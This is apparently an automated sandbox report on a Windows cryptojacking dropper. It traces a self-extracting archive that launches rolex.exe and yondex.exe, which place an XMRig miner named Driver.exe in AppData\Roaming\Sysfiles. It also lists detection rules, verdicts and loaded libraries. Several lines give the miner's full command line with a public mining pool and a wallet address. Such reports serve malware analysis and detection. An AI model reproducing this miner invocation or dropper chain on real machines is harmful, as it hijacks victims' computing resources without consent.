Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB49F930	3_2_00007FF7AB49F930
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4A4928	3_2_00007FF7AB4A4928
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4BCE88	3_2_00007FF7AB4BCE88
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB495E24	3_2_00007FF7AB495E24
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4AA4AC	3_2_00007FF7AB4AA4AC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4BB190	3_2_00007FF7AB4BB190
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4C0754	3_2_00007FF7AB4C0754
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4C8C1C	3_2_00007FF7AB4C8C1C
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4A5B60	3_2_00007FF7AB4A5B60
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4ABB90	3_2_00007FF7AB4ABB90
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B4B98	3_2_00007FF7AB4B4B98
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4CFA94	3_2_00007FF7AB4CFA94
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4A1A48	3_2_00007FF7AB4A1A48
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4D5AF8	3_2_00007FF7AB4D5AF8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B2AB0	3_2_00007FF7AB4B2AB0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB491AA4	3_2_00007FF7AB491AA4
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4AC96C	3_2_00007FF7AB4AC96C
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B3964	3_2_00007FF7AB4B3964
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4C89A0	3_2_00007FF7AB4C89A0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4D2080	3_2_00007FF7AB4D2080
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B1F20	3_2_00007FF7AB4B1F20
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4AAF18	3_2_00007FF7AB4AAF18
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B2D58	3_2_00007FF7AB4B2D58
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4C0754	3_2_00007FF7AB4C0754
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B8DF4	3_2_00007FF7AB4B8DF4
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B3484	3_2_00007FF7AB4B3484
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B53F0	3_2_00007FF7AB4B53F0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4A126C	3_2_00007FF7AB4A126C
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB497288	3_2_00007FF7AB497288
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB49C2F0	3_2_00007FF7AB49C2F0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB49A310	3_2_00007FF7AB49A310
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4AF180	3_2_00007FF7AB4AF180
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4B21D0	3_2_00007FF7AB4B21D0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB494840	3_2_00007FF7AB494840
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4CC838	3_2_00007FF7AB4CC838
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4976C0	3_2_00007FF7AB4976C0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4AB534	3_2_00007FF7AB4AB534
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4D2550	3_2_00007FF7AB4D2550
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4_2_013F7F98	4_2_013F7F98
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4_2_013F3388	4_2_013F3388
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4_2_013F3379	4_2_013F3379
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4_2_013F6FE0	4_2_013F6FE0
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4_2_013F6A90	4_2_013F6A90
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C72DE8	12_2_00C72DE8
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C77698	12_2_00C77698
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C76868	12_2_00C76868
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C76318	12_2_00C76318
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 16_2_02FD2FB8	16_2_02FD2FB8
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 16_2_02FD7868	16_2_02FD7868
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 16_2_02FD6A38	16_2_02FD6A38
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 16_2_02FD2FA7	16_2_02FD2FA7
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 16_2_02FD64E8	16_2_02FD64E8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe 8D6ABBA9B216172CFC64B8802DB0D20A1C634C96E1049F451EDDBA2363966BF0

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 436 -p 7280 -ip 7280

Source: 4.0.yondex.exe.690000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner04 author = ditekSHen, description = Detects coinmining malware
Source: 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: Driver.exe PID: 7280, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, type: DROPPED	Matched rule: MALWARE_Win_CoinMiner04 author = ditekSHen, description = Detects coinmining malware

Source: classification engine

Classification label: mal100.troj.expl.evad.mine.winEXE@43/6@2/4

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF65592B6D8 GetLastError,FormatMessageW,LocalFree,

0_2_00007FF65592B6D8

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF655948624 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00007FF655948624

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

File created: C:\Users\user\AppData\Roaming\Sysfiles

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2124:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:8052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:7808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:7384:120:WilError_03

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "

Source: h2UFp4aCRq.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: h2UFp4aCRq.exe	ReversingLabs: Detection: 39%
Source: h2UFp4aCRq.exe	Virustotal: Detection: 56%

Source: Driver.exe

String found in binary or memory: r_id; jit_vmcnt=(vmcnt<s_waitcnt_value)?vmcnt:-1; if(vmcnt<s_waitcnt_value) s_waitcnt_value=vmcnt; done=true; } p=jit_emit_instruction(p,last_branch_target,jit_inst,jit_prefetch_vgpr_index,jit_vmcnt,batch_size); if(p-start_p>size_limit) { *(p++)=S_SETPC_B64_S1

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

File read: C:\Users\user\Desktop\h2UFp4aCRq.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\h2UFp4aCRq.exe "C:\Users\user\Desktop\h2UFp4aCRq.exe"
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe rolex.exe -priverdD
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 436 -p 7280 -ip 7280
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7280 -s 764
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe "C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe "C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe "C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe"
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7440 -s 552
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 548 -p 7424 -ip 7424
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7424 -s 876
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 508 -p 1712 -ip 1712
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1712 -s 864
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe rolex.exe -priverdD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 436 -p 7280 -ip 7280	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7280 -s 764	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7280 -s 764	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7440 -s 552	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 548 -p 7424 -ip 7424	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7424 -s 876	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 508 -p 1712 -ip 1712	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1712 -s 864	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: wintypes.dll	Jump to behavior
